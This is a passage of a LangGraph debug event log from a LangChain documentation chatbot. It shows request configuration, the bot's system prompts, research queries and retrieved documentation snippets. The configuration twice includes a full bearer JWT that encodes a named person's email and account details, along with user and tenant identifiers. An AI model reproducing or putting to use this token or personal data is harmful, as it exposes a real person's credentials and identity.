LangChain? | 🦜️🔗 Langchain","type":"Document"}]]],"interrupts":[]}} + +event: debug|conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb +data: {"step":2,"timestamp":"2025-09-15T19:26:57.585612+00:00","type":"checkpoint","payload":{"config":{"configurable":{"checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","checkpoint_map":{"":"1f09269f-0392-6f0b-8001-16692042b92d","conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb":"1f09269f-1e26-6892-8002-767754012211"},"checkpoint_id":"1f09269f-1e26-6892-8002-767754012211"}},"parent_config":{"configurable":{"checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb","k":6,"host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","accept":"*/*","origin":"https://smith.langchain.com","run_id":"01994ed8-29c4-7108-93d4-d649c7a9e370","referer":"https://smith.langchain.com/","user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","graph_id":"chat","priority":"u=1, i","x-scheme":"https","sec-ch-ua":"\"Chromium\";v=\"140\", \"Not=A?Brand\";v=\"24\", \"Google Chrome\";v=\"140\"","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","x-real-ip":"10.0.0.161","x-user-id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","user-agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","query_model":"anthropic/claude-3-5-haiku-20241022","x-tenant-id":"ebbaf2eb-769b-4505-aca2-d11de10372a4","assistant_id":"eb6db400-e3c8-5d06-a834-015cb89efe69","content-type":"application/json","x-request-id":"d9ae35cd43d17c9659a1189f43158167","authorization":"Bearer eyJhbGciOiJIUzI1NiIsImtpZCI6IkMyYWJyeEw1YVk2S3V6WHIiLCJ0eXAiOiJKV1QifQ.eyJpc3MiOiJodHRwczovL3V3c3hydHF1aWZnemFqdGJ3cGlrLnN1cGFiYXNlLmNvL2F1dGgvdjEiLCJzdWIiOiJiOTgyNWI5YS1hYWFkLTQ4OTYtOWI4ZC1jMjg5MDMwZDNiMDMiLCJhdWQiOiJhdXRoZW50aWNhdGVkIiwiZXhwIjoxNzU3OTY0NTQ1LCJpYXQiOjE3NTc5NjQyNDUsImVtYWlsIjoibnVub0BsYW5nY2hhaW4uZGV2IiwicGhvbmUiOiIiLCJhcHBfbWV0YWRhdGEiOnsicHJvdmlkZXIiOiJlbWFpbCIsInByb3ZpZGVycyI6WyJlbWFpbCIsImdvb2dsZSJdfSwidXNlcl9tZXRhZGF0YSI6eyJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9saDMuZ29vZ2xldXNlcmNvbnRlbnQuY29tL2EvQUNnOG9jSlNaNnVkX0szRUdta3l5UWpxd2NxTlA3U0JOOURwaWNKdGlCX0JURHh4UC1haUZ3PXM5Ni1jIiwiY3VzdG9tX2NsYWltcyI6eyJoZCI6ImxhbmdjaGFpbi5kZXYifSwiZW1haWwiOiJudW5vQGxhbmdjaGFpbi5kZXYiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiZnVsbF9uYW1lIjoiTnVubyBDYW1wb3MiLCJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJuYW1lIjoiTnVubyBDYW1wb3MiLCJwaG9uZV92ZXJpZmllZCI6ZmFsc2UsInBpY3R1cmUiOiJodHRwczovL2xoMy5nb29nbGV1c2VyY29udGVudC5jb20vYS9BQ2c4b2NKU1o2dWRfSzNFR21reXlRanF3Y3FOUDdTQk45RHBpY0p0aUJfQlREeHhQLWFpRnc9czk2LWMiLCJwcm92aWRlcl9pZCI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiIsInN1YiI6IjEwODAxMzI4NjAzNDU2MDY4NDcxMiJ9LCJyb2xlIjoiYXV0aGVudGljYXRlZCIsImFhbCI6ImFhbDEiLCJhbXIiOlt7Im1ldGhvZCI6Im9hdXRoIiwidGltZXN0YW1wIjoxNzU3OTYzNzA0fV0sInNlc3Npb25faWQiOiJmNzkyZWViZC1iZmFlLTQ1NjMtOTc0YS0wNWJjOWQ5ZjU3MjgiLCJpc19hbm9ueW1vdXMiOmZhbHNlfQ.AVbI9jO5Arbzzm5JUldGN6MXL6awWefxejLx99d9x9Y","x-auth-scheme":"langsmith","content-length":"5712","response_model":"anthropic/claude-3-5-haiku-20241022","sec-fetch-dest":"empty","sec-fetch-mode":"cors","sec-fetch-site":"cross-site","accept-encoding":"gzip, deflate, br, zstd","accept-language":"en-US,en;q=0.9","embedding_model":"openai/text-embedding-3-small","x-forwarded-for":"10.0.0.161","sec-ch-ua-mobile":"?0","x-forwarded-host":"chat-langchain-v3-823d63bedfd35b5b8540dfc065f1c973.us.langgraph.app","x-forwarded-port":"443","__after_seconds__":0,"x-forwarded-proto":"https","retriever_provider":"weaviate","sec-ch-ua-platform":"\"macOS\"","x-forwarded-scheme":"https","langgraph_auth_user":{"identity":"b9825b9a-aaad-4896-9b8d-c289030d3b03","is_authenticated":true,"display_name":"b9825b9a-aaad-4896-9b8d-c289030d3b03","kind":"StudioUser","permissions":["authenticated"]},"langgraph_request_id":"d9ae35cd43d17c9659a1189f43158167","router_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nA user will come to you with an inquiry. Your first job is to classify what type of inquiry it is. The types of inquiries you should classify it as are:\n\n## `more-info`\nClassify a user inquiry as this if you need more information before you will be able to help them. Examples include:\n- The user complains about an error but doesn't provide the error\n- The user says something isn't working but doesn't explain why/how it's not working\n\n## `langchain`\nClassify a user inquiry as this if it can be answered by looking up information related to LangChain open source package. The LangChain open source package is a python library for working with LLMs. It integrates with various LLMs, databases and APIs.\n\n## `general`\nClassify a user inquiry as this if it is just a general question","general_system_prompt":"You are a LangChain Developer advocate. Your job is to help people using LangChain answer any issues they are running into.\n\nYour boss has determined that the user is asking a general question, not one related to LangChain. This was their logic:\n\n\n{logic}\n\n\nRespond to the user. Politely decline to answer and tell them you can only answer questions about LangChain-related topics, and that if their question is about LangChain they should clarify how it is.\n\nBe nice to them though - they are still a user!","langgraph_auth_user_id":"b9825b9a-aaad-4896-9b8d-c289030d3b03","response_system_prompt":"You are an expert programmer and problem-solver, tasked with answering any question about LangChain.\n\nGenerate a comprehensive and informative answer for the given question based solely on the provided search results (URL and content). Do NOT ramble, and adjust your response length based on the question. If they ask a question that can be answered in one sentence, do that. If 5 paragraphs of detail is needed, do that. You must only use information from the provided search results. Use an unbiased and journalistic tone. Combine search results together into a coherent answer. Do not repeat text. Cite search results using [${{number}}] notation. Only cite the most relevant results that answer the question accurately. Place these citations at the end of the individual sentence or paragraph that reference them. Do not put them all at the end, but rather sprinkle them throughout. If different results refer to different entities within the same name, write separate answers for each entity. For any citations, MAKE SURE to hyperlink them like [citation](source url) to make it easy for the user to click into the full docs.\n\n\n\nYou should use bullet points in your answer for readability. Put citations where they apply rather than putting them all at the end. DO NOT PUT THEM ALL THAT END, PUT THEM IN THE BULLET POINTS. REMEMBER: you should hyperlink any relevant source urls in the citations so that users can easily click into the full docs.\n\nIf there is nothing in the context relevant to the question at hand, do NOT make up an answer. Rather, tell them why you're unsure and ask for any additional information that may help you answer better.\n\nSometimes, what a user is asking may NOT be possible. Do NOT tell them that things are possible if you don't see evidence for it in the context below. If you don't see based in the information below that something is possible, do NOT say that it is - instead say that you're not sure.\n\nAnything between the following `context` html blocks is retrieved from a knowledge bank, not part of the conversation with the user.\n\n\n {context}\n","more_info_system_prompt":"You are a LangChain Developer advocate. Your job is help people using LangChain answer any issues they are running into.\n\nYour boss has determined that more information is needed before doing any research on behalf of the user. This was their logic:\n\n\n{logic}\n\n\nRespond to the user and try to get any more relevant information. Do not overwhelm them! Be nice, and only ask them a single follow up question.","__request_start_time_ms__":1757964413380,"langgraph_auth_permissions":["authenticated"],"research_plan_system_prompt":"You are a LangChain expert and a world-class researcher, here to assist with any and all questions or issues with LangChain, LangGraph, LangSmith, or any related functionality. Users may come to you with questions or issues.\n\nBased on the conversation below, generate a plan for how you will research the answer to their question.\n\nThe plan should generally not be more than 3 steps long, it can be as short as one. The length of the plan depends on the question.\n\nYou have access to the following documentation sources:\n- Conceptual docs\n- Integration docs\n- How-to guides\n\nYou do not need to specify where you want to research for all steps of the plan, but it's sometimes helpful.","generate_queries_system_prompt":"Generate 3 search queries to search for to answer the user's question.\n\nThese search queries should be diverse in nature - do not generate repetitive ones.","checkpoint_map":{"":"1f09269f-0392-6f0b-8001-16692042b92d","conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb":"1f09269f-1071-6d68-8001-a0b98afcc314"},"checkpoint_id":"1f09269f-1071-6d68-8001-a0b98afcc314"}},"values":{"question":"Greet the user and ask about their specific LangChain-related question or issue","queries":["LangChain introduction","LangChain key features","LangChain common use cases"],"documents":[{"id":null,"metadata":{"language":"en","title":"Introduction | 🦜️🔗 Langchain","changefreq":"weekly","description":"LangChain is a framework for developing applications powered by large language models (LLMs).","priority":"0.5","source":"https://js.langchain.com/docs/introduction","loc":"https://js.langchain.com/docs/introduction","lastmod":null,"uuid":"feabcd8c-edd5-5221-ba28-30ac81c1a391"},"page_content":"Introduction | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain v0.3 | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Last updated: 07.08.25","source":"https://js.langchain.com/docs/versions/v0_3/","loc":"https://js.langchain.com/docs/versions/v0_3/","lastmod":null,"uuid":"57aa0c97-cd76-55b6-b034-3466be0e5093"},"page_content":"LangChain v0.3 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain v0.2 | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"LangChain v0.2 was released in May 2024. This release includes a number of breaking changes and deprecations. This document contains a guide on upgrading to 0.2.x, as well as a list of deprecations and breaking changes.","source":"https://js.langchain.com/docs/versions/v0_2/","lastmod":null,"loc":"https://js.langchain.com/docs/versions/v0_2/","uuid":"9541a761-f9ec-5918-8d86-ecf8bf50ac05"},"page_content":"LangChain v0.2 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain Documentation Style Guide | 🦜️🔗 Langchain","changefreq":"weekly","description":"Introduction","priority":"0.5","source":"https://js.langchain.com/docs/contributing/documentation/style_guide","lastmod":null,"loc":"https://js.langchain.com/docs/contributing/documentation/style_guide","uuid":"e88da2f4-10f4-52b4-b0d2-72423f1dc62f"},"page_content":"LangChain Documentation Style Guide | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain Expression Language (LCEL) | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"- Runnable Interface","source":"https://js.langchain.com/docs/concepts/lcel","loc":"https://js.langchain.com/docs/concepts/lcel","lastmod":null,"uuid":"50a26404-c85a-5f56-9589-773b53702159"},"page_content":"LangChain Expression Language (LCEL) | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain releases | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"The LangChain ecosystem is composed of different component packages (e.g., @langchain/core, langchain, @langchain/community, @langchain/langgraph, partner packages etc.)","source":"https://js.langchain.com/docs/versions/release_policy","loc":"https://js.langchain.com/docs/versions/release_policy","lastmod":null,"uuid":"d7ae11db-bac7-5669-87cc-8629cfb61dd0"},"page_content":"LangChain releases | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Key-value stores | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Key-value stores are used by other LangChain components to store and retrieve data.","source":"https://js.langchain.com/docs/integrations/stores/","loc":"https://js.langchain.com/docs/integrations/stores/","lastmod":null,"uuid":"9f977d9f-3409-5b08-9027-cbe6ddad89cc"},"page_content":"Key-value stores | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Key-value stores | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Overview","source":"https://js.langchain.com/docs/concepts/key_value_stores","loc":"https://js.langchain.com/docs/concepts/key_value_stores","lastmod":null,"uuid":"187ab437-b454-5862-95a3-8c9e503f0308"},"page_content":"Key-value stores | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Why LangChain? | 🦜️🔗 Langchain","changefreq":"weekly","description":"The goal of the langchain package and LangChain the company is to make it as easy possible for developers to build applications that reason.","priority":"0.5","source":"https://js.langchain.com/docs/concepts/why_langchain","loc":"https://js.langchain.com/docs/concepts/why_langchain","lastmod":null,"uuid":"071032fb-45e5-56c5-be05-c44a9dcde806"},"page_content":"Why LangChain? | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Docusaurus | 🦜️🔗 LangChain","changefreq":"weekly","description":"Docusaurus is a static-site generator which provides out-of-the-box documentation features.","priority":"0.5","source":"https://python.langchain.com/docs/integrations/document_loaders/docusaurus/","lastmod":null,"loc":"https://python.langchain.com/docs/integrations/document_loaders/docusaurus/","uuid":"8ca8dfbc-51cb-5b5a-9870-a1203e464dfc"},"page_content":"of knowledge or computation. This can include Python REPLs, embeddings, search engines, and more. LangChain provides a large collection of common utils to use in your application.\\\\nChains: Chains go beyond just a single LLM call, and are sequences of calls (whether to an LLM or a different utility). LangChain provides a standard interface for chains, lots of integrations with other tools, and end-to-end chains for common applications.\\\\nIndexes: Language models are often more powerful when combined with your own text data - this module covers best practices for doing exactly that.\\\\nAgents: Agents involve an LLM making decisions about which Actions to take, taking that Action, seeing an Observation, and repeating that until done. LangChain provides a standard interface for agents, a selection of agents to choose from, and examples of end to end agents.\\\\nMemory: Memory is the concept of persisting state between calls of a chain/agent. LangChain provides a standard interface for memory, a collection of memory implementations, and examples of chains/agents that use memory.\\\\nChat: Chat models are a variation on Language Models that expose a different API - rather than working with raw text, they work with messages. LangChain provides a standard interface for working with them and doing all the same things as above.\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nUse Cases#\\\\nThe above modules can be used in a variety of ways. LangChain also provides guidance and assistance in this. Below are some of the common use cases LangChain supports.\\\\n\\\\nAgents: Agents are systems that use a language model to interact with other tools. These can be used to do more grounded question/answering, interact with APIs, or even take actions.\\\\nChatbots: Since language models are good at producing text, that makes them ideal for creating chatbots.\\\\nData Augmented Generation: Data Augmented Generation involves specific types of chains that first interact with an external datasource to fetch data to use in the generation step. Examples of this include summarization of long pieces of text and question/answering over specific data sources.\\\\nQuestion Answering: Answering questions over specific documents, only utilizing the information in those documents to construct an answer. A type of Data Augmented Generation.\\\\nSummarization: Summarizing longer documents into shorter, more condensed chunks of information. A type of Data Augmented Generation.\\\\nQuerying Tabular Data: If you want to understand how to use LLMs to query data that is stored in a tabular format (csvs, SQL, dataframes, etc) you should read this page.\\\\nEvaluation: Generative models are notoriously hard to evaluate with traditional metrics. One new way of evaluating them is using language models themselves to do the evaluation. LangChain provides some prompts/chains for assisting in this.\\\\nGenerate similar examples: Generating similar examples to a given input. This is a common use case for many applications, and LangChain provides some prompts/chains for assisting in this.\\\\nCompare models: Experimenting with different prompts, models, and chains is a big part of developing the best possible application. The ModelLaboratory makes it easy to do so.\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nReference Docs#\\\\nAll of LangChain’s reference documentation, in one place. Full documentation on all methods, classes, installation methods, and integration setups for LangChain.\\\\n\\\\nReference Documentation\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nLangChain Ecosystem#\\\\nGuides for how other companies/products can be used with LangChain\\\\n\\\\nLangChain Ecosystem\\\\n\\\\n\\\\n\\\\n\\\\n\\\\nAdditional Resources#\\\\nAdditional collection of resources we think may be useful as you develop your application!\\\\n\\\\nLangChainHub: The LangChainHub is a place to share and explore other prompts, chains, and agents.\\\\nGlossary: A glossary of all related terms, papers, methods, etc. Whether implemented in LangChain or not!\\\\nGallery: A collection of our favorite projects that use LangChain. Useful for","type":"Document"}]},"metadata":{"source":"loop","step":2,"parents":{"":"1f09269f-0392-6f0b-8001-16692042b92d"}},"next":[],"tasks":[],"checkpoint":{"checkpoint_id":"1f09269f-1e26-6892-8002-767754012211","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb","checkpoint_map":{"":"1f09269f-0392-6f0b-8001-16692042b92d","conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb":"1f09269f-1e26-6892-8002-767754012211"}},"parent_checkpoint":{"checkpoint_id":"1f09269f-1071-6d68-8001-a0b98afcc314","thread_id":"23c8ebb7-3500-4f73-9b02-ab2184201bdf","checkpoint_ns":"conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb","checkpoint_map":{"":"1f09269f-0392-6f0b-8001-16692042b92d","conduct_research:112ad8d7-bbc3-68b9-5d81-cead45ae71fb":"1f09269f-1071-6d68-8001-a0b98afcc314"}}}} + +event: debug +data: {"step":2,"timestamp":"2025-09-15T19:26:57.602631+00:00","type":"task_result","payload":{"id":"112ad8d7-bbc3-68b9-5d81-cead45ae71fb","name":"conduct_research","error":null,"result":[["documents",[{"id":null,"metadata":{"language":"en","title":"Introduction | 🦜️🔗 Langchain","changefreq":"weekly","description":"LangChain is a framework for developing applications powered by large language models (LLMs).","priority":"0.5","source":"https://js.langchain.com/docs/introduction","loc":"https://js.langchain.com/docs/introduction","lastmod":null,"uuid":"feabcd8c-edd5-5221-ba28-30ac81c1a391"},"page_content":"Introduction | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain v0.3 | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Last updated: 07.08.25","source":"https://js.langchain.com/docs/versions/v0_3/","loc":"https://js.langchain.com/docs/versions/v0_3/","lastmod":null,"uuid":"57aa0c97-cd76-55b6-b034-3466be0e5093"},"page_content":"LangChain v0.3 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain v0.2 | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"LangChain v0.2 was released in May 2024. This release includes a number of breaking changes and deprecations. This document contains a guide on upgrading to 0.2.x, as well as a list of deprecations and breaking changes.","source":"https://js.langchain.com/docs/versions/v0_2/","lastmod":null,"loc":"https://js.langchain.com/docs/versions/v0_2/","uuid":"9541a761-f9ec-5918-8d86-ecf8bf50ac05"},"page_content":"LangChain v0.2 | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain Documentation Style Guide | 🦜️🔗 Langchain","changefreq":"weekly","description":"Introduction","priority":"0.5","source":"https://js.langchain.com/docs/contributing/documentation/style_guide","lastmod":null,"loc":"https://js.langchain.com/docs/contributing/documentation/style_guide","uuid":"e88da2f4-10f4-52b4-b0d2-72423f1dc62f"},"page_content":"LangChain Documentation Style Guide | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain Expression Language (LCEL) | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"- Runnable Interface","source":"https://js.langchain.com/docs/concepts/lcel","loc":"https://js.langchain.com/docs/concepts/lcel","lastmod":null,"uuid":"50a26404-c85a-5f56-9589-773b53702159"},"page_content":"LangChain Expression Language (LCEL) | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"LangChain releases | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"The LangChain ecosystem is composed of different component packages (e.g., @langchain/core, langchain, @langchain/community, @langchain/langgraph, partner packages etc.)","source":"https://js.langchain.com/docs/versions/release_policy","loc":"https://js.langchain.com/docs/versions/release_policy","lastmod":null,"uuid":"d7ae11db-bac7-5669-87cc-8629cfb61dd0"},"page_content":"LangChain releases | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Key-value stores | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Key-value stores are used by other LangChain components to store and retrieve data.","source":"https://js.langchain.com/docs/integrations/stores/","loc":"https://js.langchain.com/docs/integrations/stores/","lastmod":null,"uuid":"9f977d9f-3409-5b08-9027-cbe6ddad89cc"},"page_content":"Key-value stores | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Key-value stores | 🦜️🔗 Langchain","changefreq":"weekly","priority":"0.5","description":"Overview","source":"https://js.langchain.com/docs/concepts/key_value_stores","loc":"https://js.langchain.com/docs/concepts/key_value_stores","lastmod":null,"uuid":"187ab437-b454-5862-95a3-8c9e503f0308"},"page_content":"Key-value stores | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Why LangChain? | 🦜️🔗 Langchain","changefreq":"weekly","description":"The goal of the langchain package and LangChain the company is to make it as easy possible for developers to build applications that reason.","priority":"0.5","source":"https://js.langchain.com/docs/concepts/why_langchain","loc":"https://js.langchain.com/docs/concepts/why_langchain","lastmod":null,"uuid":"071032fb-45e5-56c5-be05-c44a9dcde806"},"page_content":"Why LangChain? | 🦜️🔗 Langchain","type":"Document"},{"id":null,"metadata":{"language":"en","title":"Docusaurus | 🦜️🔗 LangChain","changefreq":"weekly","description":"Docusaurus is a static-site generator which provides out-of-the-box documentation features.","priority":"0.5","source":"https://python.langchain.com/docs/integrations/document_loaders/docusaurus/","lastmod":null,"loc":"https://python.langchain.com/docs/integrations/document_loaders/docusaurus/","uuid":"8ca8dfbc-51cb-5b5a-9870-a1203e464dfc"},"page_content":"of knowledge or computation. This can include Python REPLs, embeddings, search engines, and more. LangChain provides a large collection of common utils to use in your application.\\\\nChains: Chains go beyond just a single LLM call, and are sequences of calls (whether to an LLM or a different utility). LangChain provides a standard interface for chains, 